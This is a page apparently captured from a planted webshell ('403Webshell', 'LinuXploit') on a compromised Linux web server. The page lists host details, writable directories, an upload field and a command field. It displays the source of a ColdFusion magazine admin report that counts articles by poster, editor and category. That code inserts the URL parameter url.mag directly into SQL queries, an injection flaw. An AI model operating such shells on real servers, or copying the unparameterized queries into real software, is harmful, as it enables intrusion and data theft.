403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/cgny/nympadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/cgny/nympadmin/editorsreport.cfm
<cfinclude template="header.cfm">


<div id="content">
  <div id="content-header">
  </div>
  <div class="container-fluid" style="margin-left:200px;">

<cfparam name="url.mag" default="5">

<br><br>
<CFSET CurrentDateTime = #CreateODBCDateTime(Now())#>
<cfset week = dateadd('d',-7,#currentdatetime#)>
<cfset twoweek = dateadd('d',-14,#currentdatetime#)>
<cfset threeweek = dateadd('d',-21,#currentdatetime#)>
<cfset fourweek = dateadd('d',-28,#currentdatetime#)>
<cfset month = dateadd('d',-30,#currentdatetime#)>
<cfset monthn = dateadd('d',-90,#currentdatetime#)>
<cfquery name="getarticles" datasource="#ds#">
select distinct mag
from columntable
where dateposted > #monthn# and postedby <> ''
and mag = #url.mag#

order by postedby
</cfquery>

<table border="1" cellpadding="5">
<tr><td style="padding:5px;" ><strong>Article Posted By</strong> </td><td style="padding:5px;" ><strong>7 Days</strong></td><td style="padding:5px;" ><strong>Previous 7 Days</strong></td><td style="padding:5px;" ><strong>Previous 7 Days</strong></td><td style="padding:5px;" ><strong>Previous 7 Days</strong></td><td style="padding:5px;" ><strong>30 Days</strong></td></tr>

<cfoutput query="getarticles">
<Cfquery name="getcount" datasource="#ds#">
select count(id) as countid
from columntable
where mag=#getarticles.mag# and dateposted > #week# and postedby <> ''
</Cfquery>
<Cfquery name="getcount2" datasource="#ds#">
select count(id) as countid
from columntable
where mag=#getarticles.mag# and dateposted < #week#  and dateposted > #twoweek# and postedby <> ''
</Cfquery>
<Cfquery name="getcount4" datasource="#ds#">
select count(id) as countid
from columntable
where mag=#getarticles.mag# and dateposted < #twoweek#  and dateposted > #threeweek# and postedby <> ''
</Cfquery>
<Cfquery name="getcount5" datasource="#ds#">
select count(id) as countid
from columntable
where mag=#getarticles.mag# and dateposted < #threeweek#  and dateposted > #fourweek# and postedby <> ''
</Cfquery>
<Cfquery name="getcount3" datasource="#ds#">
select count(id) as countid
from columntable
where mag=#getarticles.mag# and dateposted > #month# and postedby <> ''
</Cfquery>


<tr><td style="padding:5px;" ><cfif #mag# eq 1>CG</cfif><cfif #mag# eq 5>NYMP</cfif><cfif #mag# eq '15'>NYL</cfif><cfif #mag# eq 20>NYS</cfif></a></td><td style="padding:5px;" >#getcount.countid#</td><td style="padding:5px;" >#getcount2.countid#</td><td style="padding:5px;" >#getcount4.countid#</td><td style="padding:5px;" >#getcount5.countid#</td><td style="padding:5px;" >#getcount3.countid#</td></tr>

</cfoutput>

</table>


<br>






<cfquery name="getarticles" datasource="#ds#">
select distinct postedby
from columntable
where dateposted > #monthn# and postedby <> ''
and status = 1

order by postedby
</cfquery>


<Cfset col1 = 0>
<Cfset col2 = 0>
<Cfset col3 = 0>
<Cfset col4 = 0>
<Cfset col5 = 0>

<table border="1" cellpadding="5">
<tr><td style="padding:5px;" ><strong>Article Posted By</strong> </td><td style="padding:5px;" ><strong>7 Days</strong></td><td style="padding:5px;" ><strong>Previous 7 Days</strong></td><td style="padding:5px;" ><strong>Previous 7 Days</strong></td><td style="padding:5px;" ><strong>Previous 7 Days</strong></td><td style="padding:5px;" ><strong>30 Days</strong></td></tr>

<cfoutput query="getarticles">
<Cfquery name="getcount" datasource="#ds#">
select count(id) as countid
from columntable
where postedby='#getarticles.postedby#' and dateposted > #week#
and mag = #url.mag#
and status = 1

</Cfquery>
<Cfquery name="getcount2" datasource="#ds#">
select count(id) as countid
from columntable
where postedby='#getarticles.postedby#' and dateposted < #week#  and dateposted > #twoweek#
and mag = #url.mag#
and status = 1

</Cfquery>
<Cfquery name="getcount4" datasource="#ds#">
select count(id) as countid
from columntable
where postedby='#getarticles.postedby#' and dateposted < #twoweek#  and dateposted > #threeweek#
and mag = #url.mag#
and status = 1

</Cfquery>
<Cfquery name="getcount5" datasource="#ds#">
select count(id) as countid
from columntable
where postedby='#getarticles.postedby#' and dateposted < #threeweek#  and dateposted > #fourweek#
and mag = #url.mag#
and status = 1

</Cfquery>
<Cfquery name="getcount3" datasource="#ds#">
select count(id) as countid
from columntable
where postedby='#getarticles.postedby#' and dateposted > #month#
and mag = #url.mag#
and status = 1

</Cfquery>

<Cfif #getcount3.countid# gt 0>
<tr><td style="padding:5px;" >#postedby#</a></td>


<td style="padding:5px;" >#getcount.countid#
	<cfif #postedby# is not 'System'><cfset col1 = col1 + #getcount.countid#></cfif>
	
</td><td style="padding:5px;" >#getcount2.countid#
	
	<cfif #postedby# is not 'System'><cfset col2 = col2 + #getcount2.countid#></cfif>
	
</td><td style="padding:5px;" >#getcount4.countid#
	
	<cfif #postedby# is not 'System'><cfset col3 = col3 + #getcount4.countid#></cfif>
	
</td><td style="padding:5px;" >#getcount5.countid#
	<cfif #postedby# is not 'System'><cfset col4 = col4 + #getcount5.countid#></cfif>
	
</td><td style="padding:5px;" >
	
	#getcount3.countid#
	
	<cfif #postedby# is not 'System'><cfset col5 = col5 + #getcount3.countid#></cfif>
	</td></tr>
</Cfif>
</cfoutput>

<Cfoutput>
<tr><td style="padding:5px;" ><b>Total</b></Td>
	<td style="padding:5px;" >#col1#</Td>
		<td style="padding:5px;" >#col2#</Td>
	<td style="padding:5px;" >#col3#</Td>
	<td style="padding:5px;" >#col4#</Td>
	<td style="padding:5px;" >#col5#</Td>
</tr>
 </Cfoutput>


</table>



<Br>


<cfquery name="getarticles" datasource="#ds#">
select distinct editedby
from columntable
where lastedit > #monthn# and editedby <> ''
and status = 1
and mag = #url.mag#
and editedby <> '-1'
order by editedby
</cfquery>


<Cfset col1 = 0>
<Cfset col2 = 0>
<Cfset col3 = 0>
<Cfset col4 = 0>
<Cfset col5 = 0>
<table border="1" cellpadding="5">
<tr><td style="padding:5px;" ><strong>Article Edited By</strong> </td><td style="padding:5px;" ><strong>7 Days</strong></td><td style="padding:5px;" ><strong>Previous 7 Days</strong></td><td style="padding:5px;" ><strong>Previous 7 Days</strong></td><td style="padding:5px;" ><strong>Previous 7 Days</strong></td><td style="padding:5px;" ><strong>30 Days</strong></td></tr>

<cfoutput query="getarticles">
<Cfquery name="getcount" datasource="#ds#">
select count(id) as countid
from columntable
where editedby='#getarticles.editedby#' and lastedit > #week#
and mag = #url.mag#
and status = 1

</Cfquery>
<Cfquery name="getcount2" datasource="#ds#">
select count(id) as countid
from columntable
where editedby='#getarticles.editedby#' and lastedit < #week#  and lastedit > #twoweek#
and mag = #url.mag#
and status = 1

</Cfquery>
<Cfquery name="getcount4" datasource="#ds#">
select count(id) as countid
from columntable
where editedby='#getarticles.editedby#' and lastedit < #twoweek#  and lastedit > #threeweek#
and mag = #url.mag#
and status = 1

</Cfquery>
<Cfquery name="getcount5" datasource="#ds#">
select count(id) as countid
from columntable
where editedby='#getarticles.editedby#' and lastedit < #threeweek#  and lastedit > #fourweek#
and mag = #url.mag#
and status = 1

</Cfquery>
<Cfquery name="getcount3" datasource="#ds#">
select count(id) as countid
from columntable
where editedby='#getarticles.editedby#' and lastedit > #month#
and mag = #url.mag#
and status = 1

</Cfquery>


<tr><td style="padding:5px;" >#editedby#</a></td>

<td style="padding:5px;" >#getcount.countid#
	<cfif #editedby# is not 'System'><cfset col1 = col1 + #getcount.countid#></cfif>
	
</td><td style="padding:5px;" >#getcount2.countid#
	
	<cfif #editedby# is not 'System'><cfset col2 = col2 + #getcount2.countid#></cfif>
	
</td><td style="padding:5px;" >#getcount4.countid#
	
	<cfif #editedby# is not 'System'><cfset col3 = col3 + #getcount4.countid#></cfif>
	
</td><td style="padding:5px;" >#getcount5.countid#
	<cfif #editedby# is not 'System'><cfset col4 = col4 + #getcount5.countid#></cfif>
	
</td><td style="padding:5px;" >
	
	#getcount3.countid#
	
	<cfif #editedby# is not 'System'><cfset col5 = col5 + #getcount3.countid#></cfif>
	</td></tr>
</cfoutput>

<Cfoutput>
<tr><td style="padding:5px;" ><b>Total</b></Td>
	<td style="padding:5px;" >#col1#</Td>
		<td style="padding:5px;" >#col2#</Td>
	<td style="padding:5px;" >#col3#</Td>
	<td style="padding:5px;" >#col4#</Td>
	<td style="padding:5px;" >#col5#</Td>
</tr>
 </Cfoutput>

</table>













<p>
<cfquery name="getarticles" datasource="#ds#">
select distinct name,id,siteid
from regions
where siteid = #url.mag#
order by siteid,name
</cfquery>

<table border="1" cellpadding="5">
<tr><td style="padding:5px;" ><strong>Article Category</strong> </td><td style="padding:5px;" ><strong>7 Days</strong></td><td style="padding:5px;" ><strong>Previous 7 Days</strong></td><td style="padding:5px;" ><strong>Previous 7 Days</strong></td><td style="padding:5px;" ><strong>Previous 7 Days</strong></td><td style="padding:5px;" ><strong>30 Days</strong></td></tr>

<cfoutput query="getarticles">
<Cfquery name="getcount" datasource="#ds#">
select count(columntable.id) as countid
from columntable inner join regionstable on columntable.id = regionstable.colid
where regionstable.regionsid =#getarticles.id# and dateposted > #week# and columntable.postedby <> ''
</Cfquery>
<Cfquery name="getcount2" datasource="#ds#">
select count(columntable.id) as countid
from columntable inner join regionstable on columntable.id = regionstable.colid
where regionstable.regionsid =#getarticles.id# and dateposted < #week#  and dateposted > #twoweek# and columntable.postedby <> ''
</Cfquery>
<Cfquery name="getcount4" datasource="#ds#">
select count(columntable.id) as countid
from columntable inner join regionstable on columntable.id = regionstable.colid
where regionstable.regionsid =#getarticles.id# and dateposted < #twoweek#  and dateposted > #threeweek# and columntable.postedby <> ''
</Cfquery>
<Cfquery name="getcount5" datasource="#ds#">
select count(columntable.id) as countid
from columntable inner join regionstable on columntable.id = regionstable.colid
where regionstable.regionsid =#getarticles.id# and dateposted < #threeweek#  and dateposted > #fourweek# and columntable.postedby <> ''
</Cfquery>
<Cfquery name="getcount3" datasource="#ds#">
select count(columntable.id) as countid
from columntable inner join regionstable on columntable.id = regionstable.colid
where regionstable.regionsid =#getarticles.id# and dateposted > #month# and columntable.postedby <> ''
</Cfquery>


<tr><td style="padding:5px;" >#name#</a> <Cfif #siteid# eq 1>CG</Cfif><cfif #siteid# eq 5>NYMP</cfif></td><td style="padding:5px;" >#getcount.countid#
	<cfset col1 = col1 + #getcount.countid#>
	
</td><td style="padding:5px;" >#getcount2.countid#
	
	<cfset col2 = col2 + #getcount2.countid#>
	
</td><td style="padding:5px;" >#getcount4.countid#
	
	<cfset col3 = col3 + #getcount4.countid#>
	
</td><td style="padding:5px;" >#getcount5.countid#
	<cfset col4 = col4 + #getcount5.countid#>
	
</td><td style="padding:5px;" >
	
	#getcount3.countid#
	
	<cfset col5 = col5 + #getcount3.countid#>
	</td></tr>


</cfoutput>

</table>






<Cfif #Url.mag# eq 1>
<p>
<cfquery name="getarticles" datasource="#ds#">
select distinct categoryname,idnumber
from cattable
order by categoryname
</cfquery>

<table border="1" cellpadding="5">
<tr><td style="padding:5px;" ><strong>Master CG Article Category</strong> </td><td style="padding:5px;" ><strong>7 Days</strong></td><td style="padding:5px;" ><strong>Previous 7 Days</strong></td><td style="padding:5px;" ><strong>Previous 7 Days</strong></td><td style="padding:5px;" ><strong>Previous 7 Days</strong></td><td style="padding:5px;" ><strong>30 Days</strong></td></tr>

<cfoutput query="getarticles">
<Cfquery name="getcount" datasource="#ds#">
select count(columntable.id) as countid
from columntable inner join columncat on columntable.id = columncat.colid
where columncat.catid =#getarticles.idnumber# and dateposted > #week# and columntable.postedby <> ''
</Cfquery>
<Cfquery name="getcount2" datasource="#ds#">
select count(columntable.id) as countid
from columntable inner join columncat on columntable.id = columncat.colid
where columncat.catid =#getarticles.idnumber# and dateposted < #week#  and dateposted > #twoweek# and columntable.postedby <> ''
</Cfquery>
<Cfquery name="getcount4" datasource="#ds#">
select count(columntable.id) as countid
from columntable inner join columncat on columntable.id = columncat.colid
where columncat.catid =#getarticles.idnumber# and dateposted < #twoweek#  and dateposted > #threeweek# and columntable.postedby <> ''
</Cfquery>
<Cfquery name="getcount5" datasource="#ds#">
select count(columntable.id) as countid
from columntable inner join columncat on columntable.id = columncat.colid
where columncat.catid =#getarticles.idnumber# and dateposted < #threeweek#  and dateposted > #fourweek# and columntable.postedby <> ''
</Cfquery>
<Cfquery name="getcount3" datasource="#ds#">
select count(columntable.id) as countid
from columntable inner join columncat on columntable.id = columncat.colid
where columncat.catid =#getarticles.idnumber# and dateposted > #month# and columntable.postedby <> ''
</Cfquery>


<tr><td style="padding:5px;" >#categoryname#</a> <Cfif #siteid# eq 1>CG</Cfif><cfif #siteid# eq 5>NYMP</cfif></td><td style="padding:5px;" >#getcount.countid#</td><td style="padding:5px;" >#getcount2.countid#</td><td style="padding:5px;" >#getcount4.countid#</td><td style="padding:5px;" >#getcount5.countid#</td><td style="padding:5px;" >#getcount3.countid#</td></tr>

</cfoutput>

</table>



</Cfif>





Youez - 2016 - github.com/yon3zu
LinuXploit